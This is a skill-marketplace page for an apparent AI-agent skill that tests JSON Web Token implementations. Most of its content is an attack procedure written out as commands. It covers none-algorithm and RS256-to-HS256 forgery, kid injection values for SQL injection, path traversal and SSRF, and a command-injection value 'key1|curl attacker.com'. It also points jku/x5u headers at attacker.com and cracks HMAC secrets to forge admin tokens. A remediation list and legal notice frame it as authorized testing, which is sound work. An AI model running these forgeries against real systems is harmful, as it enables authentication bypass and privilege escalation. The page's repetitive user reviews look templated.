Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versiontesting-for-json-web-token-vulnerabilitiesExecute the skills CLI command in your project's root directory to begin installation:
Fetches testing-for-json-web-token-vulnerabilities from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate testing-for-json-web-token-vulnerabilities. Access via /testing-for-json-web-token-vulnerabilities in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | testing-for-json-web-token-vulnerabilities |
| description | Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - jwt - json-web-token - algorithm-confusion - authentication-bypass - token-forgery - kid-injection - jku-attack |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "[email protected]"
| Concept | Description |
|---|---|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Solid pick for teams standardizing on skills: testing-for-json-web-token-vulnerabilities is focused, and the summary matches what you get after install.
testing-for-json-web-token-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
We added testing-for-json-web-token-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Useful defaults in testing-for-json-web-token-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Keeps context tight: testing-for-json-web-token-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
I recommend testing-for-json-web-token-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Useful defaults in testing-for-json-web-token-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
testing-for-json-web-token-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
testing-for-json-web-token-vulnerabilities has been reliable in day-to-day use. Documentation quality is above average for community skills.
I recommend testing-for-json-web-token-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 65